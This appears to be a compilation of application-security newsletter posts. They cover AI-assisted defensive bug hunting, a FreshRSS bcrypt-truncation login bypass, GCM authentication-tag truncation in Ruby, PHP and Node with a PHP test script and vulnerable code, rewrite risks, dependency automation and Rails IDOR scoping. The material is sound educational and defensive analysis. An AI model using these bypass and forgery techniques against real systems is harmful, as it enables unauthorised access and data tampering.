Anthropic recently showed Claude generating hundreds of validated high-severity vulnerabilities using a simple loop. Take every source file in a project, ask the model to find an exploitable bug, verify the result with a second pass. Thomas Ptacek wrote a whole piece arguing that vulnerability research as a human discipline is effectively over. The conversation is everywhere right now.

They're not wrong about the capability. But the conclusion most people are drawing, that attackers just got a massive upgrade, misses something important.

What Agents Actually Change

Finding a zero day has always required three things: expertise, luck, and resilience. You need to understand the code. You need some luck, because bugs hide in weird places. And you need the patience to go down rabbit hole after rabbit hole, finding nothing, and keep going. The best exploit developers make their own luck by combining all three. Anyone can find a zero day with proper training. That's literally why PentesterLab exists. But doing it at scale required all three, usually at the same time.

Agents collapse two of those. They don't get bored. They take infinite rabbit holes. Luck and resilience stop being bottlenecks.

The limiting factor is no longer finding bugs. It's knowing what matters. Agents will hand you a pile of findings. The skill is sorting signal from noise. That part hasn't been automated. Yet.

But here's where it gets interesting.

The Constraint Nobody Is Talking About

Offensive research teams that sell exploits work under extreme secrecy. They can't share their targets with anyone. They can't send proprietary code through an API. Many work in air-gapped networks with no internet access. They can't use Claude. They can't use GPT. They're stuck with whatever open-weight models they can run locally. Smaller context windows. Weaker reasoning. No cross-project learning. Always months behind the frontier.

Defenders are usually far less constrained. Or at least, they can decide to be. It's a risk-management decision.

You can point Claude at your own codebase right now. No air gap. No secrecy problem. Full context window. No restrictions on what you share, because it's your code.

For the first time, the person with the most to lose gets access to the best tools.

Breaking One Link Is Enough

Modern exploits are not single bugs. They're chains. A memory corruption to get initial control. A sandbox escape to break out of isolation. A privilege escalation to reach the kernel. A persistence mechanism to survive a reboot. Every link has to hold, or the whole thing falls apart.

Attackers need the full chain. Defenders only need to break one link.

This has always been true in theory. In practice, defenders never had the bandwidth to systematically audit every layer. You'd harden what you could and hope the rest held. The chain survived because nobody had time to inspect every link.

That constraint is gone. Run your agent against the sandbox layer this week. Run it against the IPC boundary next week. Run it against your privilege boundaries the week after. Each pass that finds and fixes a weakness removes a link the attacker was counting on. Do it on a regular cycle and you're not just patching known bugs. You're degrading the attacker's ability to build a working chain at all. And making it almost impossible for attackers to keep a reliable chain working over time across multiple versions of your application. The complexity for attackers grows exponentially.

The attacker has to get everything right. You only have to get one thing a bit better, repeatedly.

And here's the best part: as a defender, you don't even need to prove exploitability. That's the attacker's problem. You don't need to convince anyone it's worth fixing. If the code looks fragile, make it less fragile. If a pattern keeps showing up in findings, rewrite it. You just make the code a little bit better every day. Do that consistently and you're breaking links in chains that haven't been built yet.

So Do Something About It

This is not theoretical. I've been running exactly these kinds of workflows against real code with Claude. Take the same approach Anthropic described and run it defensively. Loop through your source files. Ask the model to find weaknesses. Fix what comes back. Rewrite what feels fragile. Harden the patterns that keep producing findings.

The shift is not finding exploitable bugs faster. It's fixing weaknesses, repeatably. You run the loop with better models, against code you keep improving. The attacker runs it with worse models, against code that keeps changing under their feet.

Every bug you fix, with a proper test behind it, is gone forever. Every chain an attacker builds can break the next time you push a commit. Your progress compounds. Their job gets harder.

Attackers need to be clever and they're now under-equipped. You just have to be consistent, with better tooling.

Only one entry but definitely worth reading!

AI doing research, AI killing CTF

A commit meant to strengthen the crypto ended up removing the need for a valid password.

It's worth noting upfront: this issue only affected the edge (development) branch and never made it into a stable release. But the pattern is instructive.

While this is a cool bug to study and understand, it would make a poor hacking lab since exploitation is trivial (just log in with any password). It would also be a difficult code review exercise since spotting it requires understanding the full interaction between the nonce length change and bcrypt's truncation behaviour, which involves a lot of context across multiple files.

A Quick Primer on bcrypt Hashes

Before diving in, it helps to understand what a bcrypt hash looks like. A bcrypt hash is a 60-character string with a specific structure:

$2y$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWXYZ01234
 ^^ ^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 |  |         |                          |
 |  |    22-char salt              31-char hash output
 |  |                           (password-dependent)
 | cost factor
 |
algorithm id

The first 29 characters ($2y$10$ + the 22-character salt) are fixed for a given user and do not depend on the password. The remaining 31 characters are the actual hash output and are the only part that changes when you use a different password.

PHP's password_verify($input, $hash) function takes a plaintext input and a bcrypt hash, extracts the algorithm, cost, and salt from the hash, recomputes bcrypt on the input using those parameters, and checks whether the result matches.

Crucially, bcrypt silently truncates its input at 72 bytes. Anything beyond the 72nd byte is simply ignored. This is a well-known property of the algorithm, but it is easy to forget when composing bcrypt with other operations.

FreshRSS's Authentication Protocol

FreshRSS does not send the user's password to the server in plain text (even over HTTPS). Instead, it uses a challenge-response protocol with client-side bcrypt hashing. Here is how it works:

1. The client asks the server for a nonce (a random one-time value) and salt1 (the first 29 characters of the user's stored bcrypt hash, the algorithm, cost, and salt).
2. The client computes:

   // bcrypt hash of password (60 chars)
   s = bcrypt.hashSync(password, salt1);        
   // bcrypt hash of nonce+s
   c = bcrypt.hashSync(nonce + s, randomSalt);

3. The client sends c (as challenge) to the server.
4. The server verifies:

   password_verify($nonce . $hash, $challenge);

   This recomputes bcrypt(nonce + hash) and checks it matches the challenge the client sent.

The nonce prevents replay attacks: even if an attacker captures the hash and challenge, they cannot reuse them because the next login will have a different nonce.

The "Strengthen Crypto" Commit

In October 2025, PR #8061 ("Strengthen some crypto") made several changes to improve the cryptographic primitives used by FreshRSS:

• Replaced mt_rand() with random_bytes() for randomness
• Replaced uniqid() with proper random byte generation
• Replaced sha1() with hash('sha256', ...) for nonce generation

Each of these changes is individually reasonable. SHA-256 is stronger than SHA-1. random_bytes() is cryptographically secure while mt_rand() is not. These are textbook recommendations.

But there is a side effect. The nonce went from being a SHA-1 hex digest (40 characters) to a SHA-256 hex digest (64 characters).

// Before (40-char nonce):
-$this->view->nonce = sha1($salt . uniqid('' . mt_rand(), true));

// After (64-char nonce):
+$this->view->nonce = hash('sha256', FreshRSS_Context::systemConf()->salt . $user . random_bytes(32));

How the Truncation Breaks Authentication

With the original 40-character nonce:

nonce (40 chars) + hash (60 chars) = 100 chars total
[---- nonce (40) ----][---- first 32 chars of hash ----]
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                       Contains password-dependent data

Remember, the first 29 characters of a bcrypt hash are the algorithm, cost, and salt (not password-dependent), and the password-dependent output starts at character 30. With a 40-char nonce, bcrypt sees up to character 72, which is well past the password-dependent portion. Authentication works correctly.

With the new 64-character nonce:

nonce (64 chars) + hash (60 chars) = 124 chars total
[----------- nonce (64) -----------][8 chars]
                                    ^^^^^^^^
                                    $2y$10$X
                      (just the bcrypt prefix + 1 salt char)

The 72-byte window now contains the 64-character nonce plus only 8 characters of the hash. Those 8 characters are $2y$10$ (the bcrypt algorithm identifier and cost parameter) plus one character of the salt. None of this depends on the user's password. It is the same regardless of what password was entered.

Result: password_verify() returns true for any password.

The Fix

The fix in PR #8320 is simple: just swap the concatenation order:

// Server (PHP):
-return password_verify($nonce . $hash, $challenge);
+return password_verify($hash . $nonce, $challenge);

// Client (JavaScript):
-const c = bcrypt.hashSync(json.nonce + s, ...);
+const c = bcrypt.hashSync(s + json.nonce, ...);

Now the 60-character hash comes first. All 60 bytes fit within the 72-byte window, and the nonce fills the remaining 12 bytes. The password-dependent data is fully included in the bcrypt computation, and authentication works correctly again.

Lessons Learned

Understand the primitives you are composing. SHA-256 is stronger than SHA-1 in isolation. But "stronger" does not mean "safe to substitute" when the output feeds into another function with its own constraints. The 40-character SHA-1 nonce was not chosen because SHA-1 was considered secure. It just happened to be short enough that bcrypt's truncation did not matter. The upgrade to SHA-256 broke that assumption.

Over-engineering can hurt security. The challenge-response protocol with client-side bcrypt is already unusual. Most web applications just send the password over HTTPS and hash server-side. The added complexity created a subtle interaction between nonce length and bcrypt truncation that a simpler design would not have. More layers of crypto does not automatically mean more security.

Test authentication. The FreshRSS test suite has no tests for the authentication flow at all. The only password-related test checks validation rules (minimum length, non-empty), not actual credential verification. The complexity of the challenge-response protocol likely made it harder to test than a simple password check, but that is exactly the kind of code that needs tests the most. A single test case (log in with the wrong password and assert failure) would have caught this immediately.

Edge branches matter. This bug never reached a stable release, which is good. But it lived in the edge branch for about two months. Users tracking the development branch, often the most engaged members of the community, were running a version where any password worked. The edge/stable split limited the blast radius, but it is a reminder that development branches deserve security attention too.

If you enjoy this kind of vulnerability analysis, check out The CVE Archeologist's Field Guide, where I dig into real-world vulnerabilities and the patterns behind them.

A great mix of content this week!

Mostly AI...

And honestly, it looks easy. You write a good prompt. You get a plan. You execute the plan. One feature at a time (based on your Product Requirements Document/PRD). Ship.

Last week, Cloudflare showed vinext, an experiment to run the Next.js API surface on their own stack. One engineer, one week, about $1,100 in tokens. It is impressive. It is fast. It proves something important: with the right agent setup, you can rebuild a lot of software very quickly.

And that is exactly the problem.

Because when you rebuild mature software quickly, you rebuild what you can see. You do not rebuild what you cannot see.

Scars, Not Accidents

Mature software is not big because developers enjoy complexity. It is big because it has been through years of production traffic, weird integrations, security research, fuzzing, CVEs, bypasses of the bypasses, and painful post-mortems.

Over time, those incidents leave marks. A strange conditional branch. A strict parser that feels "too strict." A default that seems overly conservative. A normalization step that nobody dares to remove. These are not accidents. They are scars.

You do not notice them when you use the software. You only notice them when they are gone.

Security Does Not Live in the Happy Path

When someone rewrites a framework in a weekend, they start from the surface: routes, features, happy paths, compatibility for normal users.

But security does not live in the happy path.

Security lives in malformed inputs. In encoding edge cases. In parser differentials. In ambiguous specs. In "works as intended" gaps. In behavior that only shows up when two components disagree on what a string means.

Those things are not visible from the outside. They are the result of years of people trying to break the system.

When you rewrite something from scratch with or without an agent, you see the features. You do not see the battles that shaped them.

URL Parsing and vinext

This is not abstract. Consider URL parsing. The Node.js package url-parse was written as a lightweight alternative to existing parsers: small footprint, clean API, works in the browser. It looked like a better, simpler version of something mature. It got millions of downloads per week.

Then came the CVEs. Six of them in under two years. Backslashes treated as relative paths. Missing ports causing hostname confusion. Encoded characters slipping past validation. Each one a bypass that let attackers forge hostnames, redirect users, or reach internal services. Each one exploiting an edge case that the battle-tested parsers had already learned to handle, through years of exactly this kind of breakage.

The original parsers were not complicated because their authors liked complexity. They were complicated because http://example.com: and https:\ and http:///google.com all need to resolve to something, and the wrong answer is a security hole. That knowledge was not in any spec. It was earned through pain.

And then there is vinext itself. Within days of the announcement, Vercel's security team audited the project and responsibly disclosed seven vulnerabilities: two critical, two high, two medium, one low. Nothing like spite-auditing ;). The team at Hacktron went further: they pointed their autonomous scanner at vinext and came back with 24 validated findings, including session hijacking via race conditions, cache poisoning that served one user's authenticated data to everyone, and middleware bypass through double-encoded paths. Classic parser differentials between layers that each decoded the URL at different stages.

The most telling detail from the Hacktron report: Next.js has an undocumented heuristic where requests containing Authorization or Cookie headers automatically opt out of shared caching. That behavior is not in any API spec. It evolved from production incidents. When vinext reimplemented fetch caching from the spec, that invisible rule did not exist, so the first authenticated user's response got cached and served to every subsequent visitor.

That is what a scar looks like. It is not in the feature list. It is not in the docs. It is the result of someone getting burned, and the fix quietly preventing everyone else from getting burned too.

The Invisible Value

The uncomfortable truth is this: in mature software, a large part of the value is invisible.

It is the conservative default that prevents a foot-gun. It is the input validation that feels annoying. It is the strictness that breaks your "creative" use case. It is the check that seems redundant. It is all the times someone already tried to break it.

Agents are very good at producing output. They are not automatically good at reproducing history. And history is what hardens software.

How to Rewrite Responsibly

This is not an argument against rewrites. Sometimes the architecture really is broken. Sometimes you do need to start over. And now that coding agents have lowered the cost of rewriting to almost zero, more teams will try.

But if you are going to replace something mature, assume you are missing the most important parts.

Once the rewrite works, go through the CVEs that impacted the original. Not just the titles. Read the advisories. Understand the mechanisms. Look at what the mature codebase does that yours does not, and ask why. Find the checks that seem redundant, the defaults that seem too strict, the logic that looks like over-engineering. Figure out what is auto-magically preventing issues or enforcing security in the original, because odds are your clean new version quietly lost it.

Turn those into tests. Run them against your rewrite. See what breaks.

In my code review training, I recommend playing "spot the differences." Take two codebases and try to find what is done differently, then ask: is there a security impact? This strategy works perfectly here. Put the original and the rewrite side by side. Do not look at what is common. Look at what is different. That is where the vulnerabilities are.

Java x2, Go, JWT and a sprinkling of AI

Parser Differential, TypeScript and AI

A quick refresher on GCM

Galois/Counter Mode (GCM) is a popular authenticated encryption mode built on top of block ciphers like AES. It is widely used because it provides both confidentiality and integrity in one pass, and it’s efficient even in high-throughput environments.

Two elements are critical to understand:

• Nonce (IV): A unique, usually random, value that must never be reused with the same key. Reusing a nonce with GCM completely undermines its security.
• Authentication Tag: A short cryptographic checksum (commonly 16 bytes) that ensures the ciphertext and associated data have not been tampered with. During decryption, the tag must be verified before releasing any plaintext.

This combination makes GCM extremely powerful, if implemented correctly.

The problem: lenient tag verification

In the NorthSec talk, the speaker highlighted that in both PHP and Ruby, decryption APIs don’t strictly enforce the length of the authentication tag. If you pass a shorter tag, these libraries will happily verify only those bytes and continue. That means it’s up to developers to enforce the tag size themselves.

Example of vulnerable Ruby usage

cipher = OpenSSL::Cipher.new("aes-128-gcm")
cipher.decrypt
cipher.key = key
cipher.iv  = iv

# BUG: No length check! a 1-byte tag will be accepted.
cipher.auth_tag = provided_tag

plaintext = cipher.update(ciphertext) + cipher.final

<?php
$key = random_bytes(32);
$plaintext = "test message";
$nonce = random_bytes(12);

// Encrypt
$ciphertext = openssl_encrypt($plaintext, 'aes-256-gcm', $key, 
                              OPENSSL_RAW_DATA, $nonce, $tag);

echo "PHP - Testing tag sizes:\n";
foreach ([16, 15, 14, 12, 8, 4, 2, 1, 0] as $size) {
    $truncated_tag = $size == 0 ? "" : substr($tag, 0, $size);
    
    $result = @openssl_decrypt($ciphertext, 'aes-256-gcm', $key, 
                        OPENSSL_RAW_DATA, $nonce, $truncated_tag);
    
    if ($result !== false && $result === $plaintext) {
        echo "  Tag size $size bytes: ACCEPTED ⚠️\n";
    } else {
        echo "  Tag size $size bytes: REJECTED ✓\n";
    }
}

?>

PHP - Testing tag sizes:
  Tag size 16 bytes: ACCEPTED ⚠️
  Tag size 15 bytes: ACCEPTED ⚠️
  Tag size 14 bytes: ACCEPTED ⚠️
  Tag size 12 bytes: ACCEPTED ⚠️
  Tag size 8 bytes: ACCEPTED ⚠️
  Tag size 4 bytes: ACCEPTED ⚠️
  Tag size 2 bytes: ACCEPTED ⚠️
  Tag size 1 bytes: ACCEPTED ⚠️
  Tag size 0 bytes: REJECTED ✓

The worst part, an issue has been open in July 2016 to get this behaviour changed in ruby/openssl: https://github.com/ruby/openssl/issues/63

Node.js note

When digging further, I discovered that Node.js accepts tags as short as 4 bytes by default. The original issue was opened in 2017 and closed without a fix. A new issue was opened in 2024, noting that among 41 popular GitHub projects using Node's crypto module, only 7 properly protected against short tags, while 15 would allow forgeries within 2³² queries. This eventually led to a runtime deprecation (DEP0182) and a documentation warning for setAuthTag(). But as of now, the default behaviour still accepts truncated tags.

Not just PHP, Ruby, and Node

After looking deeper, I found at least three other languages that suffer from the same class of bug. Erlang (and by extension Elixir) had the same issue and updated their documentation to warn about tag length. Another language is still being discussed with its maintainers. The short version: this problem is wider than most people think.

A real-world example: Reforge's Ruby SDK

Once I understood the pattern, I started looking for it in other Ruby projects. I came across Reforge's Ruby SDK which uses AES-256-GCM to encrypt data. Their decrypt method looked like this:

def decrypt(encrypted_string)
  unpacked_parts = encrypted_string.split(SEPARATOR).map { |p| [p].pack("H*") }

  cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
  cipher.decrypt
  cipher.key = @key
  cipher.iv = unpacked_parts[1]
  cipher.auth_tag = unpacked_parts[2]  # No length check!

  decrypted = cipher.update(unpacked_parts[0])
  decrypted << cipher.final
  decrypted
end

The encrypted string format is ciphertext--iv--tag, all hex-encoded. Since there is no validation of the tag length, anyone who can manipulate the encrypted string (e.g. intercepting it in transit, modifying a stored value) could truncate the tag to a single byte. With Ruby's OpenSSL bindings happily accepting a 1-byte tag, an attacker would only need around 256 attempts to forge a valid ciphertext.

I reported the issue to Reforge on October 1, 2025. To their credit, they responded quickly and shipped a fix on October 7, 2025, adding an explicit tag length check:

AUTH_TAG_LENGTH = 16

def decrypt(encrypted_string)
  encrypted_data, iv, auth_tag = encrypted_string.split(SEPARATOR).map { |p| [p].pack("H*") }

  # Currently the OpenSSL bindings do not raise an error if auth_tag is
  # truncated, which would allow an attacker to easily forge it. See
  # https://github.com/ruby/openssl/issues/63
  if auth_tag.bytesize != AUTH_TAG_LENGTH
    raise "truncated auth_tag"
  end

  cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
  cipher.decrypt
  cipher.key = @key
  cipher.iv = iv
  cipher.auth_tag = auth_tag

  decrypted = cipher.update(encrypted_data)
  decrypted << cipher.final
  decrypted
end

The fix is straightforward: check that the tag is exactly 16 bytes before passing it to OpenSSL. This is the kind of one-line check that every GCM implementation should have, but that the underlying libraries don't enforce.

No CVE, no advisory

Despite being a real vulnerability in a public SDK, no CVE was issued and no security advisory was published. The fix was quietly merged as version 1.11.2. This is unfortunately common: many libraries treat these as "improvements" rather than security fixes, which means downstream users have no signal to update urgently. If you're relying on GCM for authenticity, this is exactly the kind of silent fix you'd miss.

Why this matters

Truncating the tag drastically reduces the difficulty of forgery. If only one byte is verified, an attacker needs just 256 tries to find a valid tag. If only 4 bytes are checked, it's 2³² possibilities, still within reach of motivated attackers.

Takeaway

This is pretty wild. If you're a developer, don't blindly trust the built-in GCM functions to enforce the correct tag size. Always add an explicit length check before passing the tag to decryption. Treat the tag as a fixed-size value (typically 16 bytes) and reject anything else.

If you want to practice exploiting GCM tag truncation yourself, try our GCM Tag Truncation exercise.

The Certificate Horror Years

If you've been around long enough, you've probably seen at least one certificate outage. A production service goes down because a cert expired. It always happens at the worst time: at night, over a weekend, during a holiday, while everyone is travelling, or when the one person who knows where "that thing" lives is offline. Sometimes it's even worse because no one remembers creating the certificate in the first place. Then you get the classic moment of panic: where is this certificate actually used? Is it on a load balancer, a CDN, an ingress controller, a reverse proxy, a random VM that no one logs into anymore?

The pattern is boring because it repeats. One certificate gets forgotten, renewal doesn't happen, and the failure is visible to everyone. The "solution" is also boring. People add calendar reminders, maintain a spreadsheet, create a wiki page, or funnel renewal notifications into a shared inbox. It doesn't work reliably.

It doesn't fail because people don't care. It fails because manual security processes don't scale. Certificates are ruthless in the way they expose that. They expire on a fixed date, and when they fail, they fail hard. There is no partial outage and no "acceptable risk" discussion. Everyone notices immediately.

Certificates were one of the first areas where security failed loudly enough that excuses stopped working.

Why Certificate Management Had to Become Automated

Certificate management didn't improve because we got better at process. It improved because the ecosystem changed around a simple fact: if renewal is manual, outages are inevitable.

Let's Encrypt didn't just make certificates free. It made manual renewal indefensible. And ACME is the part people forget to name even though it's the real mechanism that changed everything. ACME turned certificate renewal into something you could treat like an API call: prove control of a domain, get a certificate, renew it on schedule, rotate it automatically, and do it again without a human SSH'ing into anything at 2am. Once you have an automation protocol that every tool can speak, "remember to renew" stops being a process problem and becomes an engineering problem. That shift is why short-lived certificates became realistic. It's also why renewal moved out of wiki pages and into load balancers, ingress controllers, CDNs, and pipelines.

Short-lived certificates made the situation worse before it made it better. Once certificates rotate frequently, you can't rely on memory, you can't "just be careful", and you can't pretend a spreadsheet will scale. You either automate, or you guarantee that production will break.

So the industry adapted. Certificates became cheap and disposable. Renewal became code. TLS moved into platforms such as CDNs, load balancers, and ingress controllers. Ownership became explicit.

Today, renewing certificates is boring, and boring is exactly what you want. No one debates whether to renew a certificate and no one risk-accepts expiry. You automate it, or your service breaks.

Dependency Management Is Where Certificates Used to Be

Now look at how we handle dependencies.

If this feels uncomfortably familiar, that's because it is. Dependency trees are large. Transitive dependencies are everywhere. Inventories are incomplete. People say things like "we think this service uses that library", and vulnerabilities are discovered long after the code shipped.

Log4j made this painfully concrete. When Log4Shell dropped in December 2021, teams everywhere faced the same certificate-era panic: where is this actually used? The answer was often "we don't know." Log4j was a transitive dependency, pulled in by other libraries, buried deep in dependency trees that no one had fully mapped. Organizations spent weeks hunting through codebases, container images, and vendor disclosures trying to answer a question that should have been trivial: do we use this library?

The response was chaotic precisely because dependency inventories were incomplete. And Log4j wasn't even a subtle vulnerability. It was loud, well-publicized, and actively exploited. The industry still struggled to respond quickly.

Then the usual pattern emerges: triage meetings, CVSS discussions, backlogs, and risk acceptance. This is certificate management from ten years ago, just less honest about failure.

The key difference is visibility. Certificates expire loudly. Vulnerabilities fail silently until they don't. There is no expiration date on a vulnerability. There is only the day someone weaponizes it.

Why Traditional Vulnerability Management Doesn't Scale

Traditional vulnerability management assumes humans can understand every vulnerability, prioritize correctly, and act fast enough. That assumption has never held at scale.

Attackers automated years ago. They automated discovery, exploitation, and target selection. Defenders responded with dashboards and meetings. We ended up in a situation where attackers operate at machine speed while defenders operate at meeting speed.

Certificates taught us that this gap doesn't close with better process. It closes when automation becomes mandatory. Dependency management is slowly being dragged toward the same model. Not because it's elegant, but because there is no alternative.

The direction is clear. Frequent dependency updates, like short-lived certificates. Auto-upgrades, like auto-renewal. Pinning treated as an exception rather than the default. Platform ownership rather than application-by-application heroics. Pipelines that fail fast rather than letting vulnerable versions sit quietly for months.

The winning approach is not "let's analyze every CVE" and it's not "let's manually review every upgrade." That approach already collapsed under its own weight. The winning approach is to update by default, automate everything that is routine, make exceptions explicit, and spend human time only on the weird cases.

Exactly like certificates.

The Real Cost Isn't If You Patch, It's When

This is the part people miss.

Teams treat patching as a binary choice when it's actually a cost-accumulation problem. Do we patch? Do we upgrade? Do we accept the risk? But the real decision isn't whether. It's when.

If there's one quote that applies here, it's: "If it hurts, do it more frequently."

People delay updates because they fear surprises. That fear makes sense. But the longer you wait, the bigger the surprise becomes.

If you bump dependencies regularly, you usually go from one minor version to the next. The surface area is small. Behavior changes are limited. Changelogs are readable. Tests usually tell you what broke. Most of the time, nothing interesting happens, which is the goal. It's exactly the same dynamic that made certificate renewal boring: renew often, change little, avoid drama.

Waiting turns small pain into big pain. "Let's skip this update for now" turns into multiple minor versions skipped, behavior changes stacked, deprecations finally removed, and assumptions silently invalidated. At that point, even a "minor upgrade" stops being minor. That's where teams get trapped. They start saying they can't update because it's too risky, that they need more time to test, and that they'll schedule it later.

Later doesn't get easier. Later just collects interest.

Certificates taught us the same thing. Postponing renewal doesn't make renewal safer. It just guarantees a worse failure later. Dependencies work the same way. Every skipped update increases the blast radius of the next one, makes root cause analysis harder, raises the cost of testing, and increases fear of touching the system at all. Eventually you end up with a system that's "too fragile to change." That's not stability. That's stagnation.

The goal isn't heroic patching during incidents. The goal is making patching uninteresting. Fast, continuous updates mean smaller diffs, fewer surprises, lower cognitive load, and easier rollback. Security scales when it's boring, and boring only happens when you do things early and often, not carefully and later.

Why This Is Harder Than Certificates

There is one important difference. Renewing a certificate almost never changes application behavior. Upgrading a dependency often does.

This is where fear enters: breaking changes, subtle behavior shifts, and hidden assumptions. That fear is rational, and it's the reason dependency automation stalled where certificate automation succeeded.

The blocker isn't tooling. It's understanding impact.

Where AI Actually Helps

AI is not here to "fix vulnerabilities." That framing is wrong and dangerous.

AI is useful because it reduces the cost of understanding change. It can trace code paths to see whether vulnerable code is reachable. It can summarize differences between dependency versions. It can explain behavior changes in plain language. It can draft upgrade pull requests with context.

This is exactly the kind of work humans hate doing. It's time-consuming, repetitive, and easy to get wrong when you're tired.

AI doesn't eliminate risk. It reduces uncertainty, which is what usually blocks action.

Humans Should Handle Exceptions, Not Routine Work

Certificate management worked once we accepted that humans should not be in the renewal loop and that humans should handle failures, not normal operation.

Dependency management is heading in the same direction. Humans shouldn't read every changelog, manually diff every release, or patch under pressure during an incident. Humans should review exceptions, make architectural decisions, and handle novel cases.

That's a much better use of expertise.

The Actual Lesson From Certificates

Certificates didn't get better because security teams tried harder. They got better because the industry accepted three uncomfortable truths: failure must be unacceptable, automation must be mandatory, and humans must deal with exceptions, not routine work.

Dependency management is following the same path, just later and under more pressure. AI doesn't change the destination. It shortens the time it takes to get there.

And the teams that learn from certificate management early won't look heroic. They'll look boring.

Which, in security, is usually a sign they're doing something right.

With Anthropic's Opus 4.5, Ralph Wiggum Loop and GastOwn, a few people on the bleeding edge of AI-based software development are going to bed and waking up to fully working applications, not toy demos, but real features wired to a database, an auth flow, and something that actually runs.

Because of that, more and more people are discussing the death of software developer, the people who write code. Not because code disappears, but because producing it is getting faster, more automated, and easier to delegate. The idea is that only software engineer will stay, the people who architect software, give directions, and review outcomes. In other words, less code production, more direction and review.

I am not fully buying the "developers will disappear" narrative. But regardless of where you land, you have to admit that writing code is quickly evolving right now, and AppSec will have to evolve with it.

Questions for AppSec Enthusiasts

This brings a few questions for the AppSec enthusiasts:

• If the people shipping features are not typing most of the code anymore, what's the point of secure coding training? Do we shift more of that effort to "secure reviewing" and specification, the prompts, the constraints, and the tests that guard the behavior?
• If code is produced faster than humans can read it, what does code review become? Do we move from line-by-line review to reviewing diffs with stronger guardrails, threat models, and automated checks that we actually trust?
• What is the future of pentesting in that world? If your job is mostly running tools, what happens when the tools run themselves, and the output is already summarized for the engineer? What is the pentesting version of a software developer? What is the pentesting version of a software engineer? Is it tool runner vs investigator?
• What happens to vulnerability management in dependencies? If AI writes most of the code, AI can probably keep patching to the latest versions while engineers are sleeping or getting coffee. And then why would you care about reachability? You do not ask yourself if or when you should patch, AI just patches regardless. Breaking changes? Can the same loop handle them too? And if you patch all the time, does that make breaking changes less scary over time, since you never fall behind?
• How do we scale AppSec? Are building blocks more important than ever? And how do we ensure coding agents always use those building blocks? Should AppSec engineers spend more time tweaking AGENTS.md to include the right security guardrails, or reviewing source code?
• What is the impact on buy vs build? Should you still buy security products, or are you better off leveraging coding agents to build something closer to your actual need, and accept the maintenance and responsibility that comes with it?
• What happens to people who cannot use those coding agents, for development and for security reviews? The gap between open source capabilities and closed capabilities seems to be widening at the moment.
• And the big one: how do we ensure AI-generated code is safe, and stays safe over time? Not just on day one, but after refactors, dependency updates, and "one small change" that reopens the same class of bug.

Not Theoretical

This is not theoretical. I recently experimented with Claude Code skills and reviewing JWT libraries. I found a few interesting issues, a few signature bypasses, a lot of non-constant-time comparisons, and a few libraries supporting the None algorithm (including this vulnerability I reported: GHSA-88q6-jcjg-hvmw).

Conclusion

We are living in very exciting times for AppSec and even for humanity. Regardless of your opinion, you have to ask yourself those questions.

Busy week! AI, AI, AI and the death of Flash!

Rails is great at making the happy path simple. You need a record, you write Model.find(params[:id]). You need an authorization check, you add a line under it. The code reads well, it feels clean, it passes review, and it's also the reason why perfectly competent teams ship IDORs (Insecure Direct Object Reference).

The issue is not that people don't know they need authorization. The issue is that "fetch then check" relies on humans to remember the check every time, across every new endpoint, refactor, export job, and admin screen. One missing line is enough. If you want to kill IDORs in a Rails app, you don't start by writing more checks. You start by changing the shape of your code so the insecure version becomes harder to write.

The authorization pattern that doesn't rot

@project = Project.find(params[:id])
authorize! @project

@project = current_user.projects.find(params[:id])

@invoice = current_account.invoices.find(params[:id])

Default scopes feel like a superpower

class Product < ApplicationRecord
  default_scope { where(deleted_at: nil) }
end

> Product.all.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."deleted_at" IS NULL

The dangerous bypass: unscoped

class Product < ApplicationRecord
  default_scope { where(account_id: Current.account.id) } # tenant boundary
  default_scope { where(deleted_at: nil) }                # soft delete
end

> Product.all.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42
  AND "products"."deleted_at" IS NULL

> Product.unscoped.to_sql
SELECT "products".*
FROM "products"

The correct tool: unscope(where: ...)

> Product.unscope(where: :deleted_at).to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42

The one that slips through review: Account.first.products.unscoped

> Account.first.products.unscoped

> Account.first.products.unscope(where: :deleted_at)

Make the safe thing easy: give it a name

class Product < ApplicationRecord
  default_scope { where(account_id: Current.account.id) }
  default_scope { where(deleted_at: nil) }

  scope :with_deleted, -> { unscope(where: :deleted_at) }
end

> Product.with_deleted.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42

Why this belongs in a post about killing IDORs

Bonus: make AI write secure code too

## Rails Authorization

- Prefer `current_user.projects.find(params[:id])` over `@project = Project.find(params[:id]); authorize(@project)` — authorization should be part of the query, not a separate check
- Avoid `unscoped`; use `unscope(where: :column)` to bypass specific default scopes without removing others
- Use named scopes for common bypasses (e.g., `scope :with_deleted, -> { unscope(where: :deleted_at) }`) so there's one place to update

Security and privacy have always been about doing the right thing while balancing it with staying productive. People do not work in air-gapped environments for fun. They do it for security reasons, and that level of control usually costs real time and real money.

We have seen this trade-off before. Most teams did not move to the cloud "because cloud is cool". They moved because it made them faster, and security was not always thrilled ("There is no cloud, it's just someone else's computer"). The same tension showed up with Agile, or should I call it, as a security practitioner: "FRagile". It has always been about balancing risk (security and privacy) with rewards (productivity).

AI: The Same Problem, New Stakes

With AI, we are back to the same problem: productivity versus security. Things are moving faster than ever. Agents working day and night to improve your productivity. Agents with access to your calendar, root access to servers, your emails, maybe even bank accounts. Once again, it is about balancing productivity with security. People willing to sacrifice the most security often get the biggest boost in productivity, until they don't.

Security Gets the Boost Too

What's new this time is that security is getting the productivity boost too. If you have been paying attention, you saw that Trail of Bits, one of the leading security consultancies worldwide, are huge users of Claude Code:

"Nearly all of @trailofbits' 140 employees use Claude Code daily, and most in YOLO mode" (source)

Trail of Bits even released part of their Claude skills: https://github.com/trailofbits/skills. A lot of big names in security are also publishing about AI-assisted research: On the Coming Industrialisation of Exploit Generation with LLMs, Ask your LLM for receipts, and so many more. One thing is sure: we never saw the same level of enthusiasm from the security community for cloud or Agile.

What Happens If You Don't Use AI?

It raises a question: what happens to security people who are not using AI? In the past, you could avoid cloud or Agile, but this time, not using AI can make you less productive at doing security work. Are you going to be left behind?

Some may say you can run your own model locally. You can use Ollama, even Claude Code with Ollama (docs). But what is the impact of not using the best available model for the job, just because the best model forces you to share data with a third party?

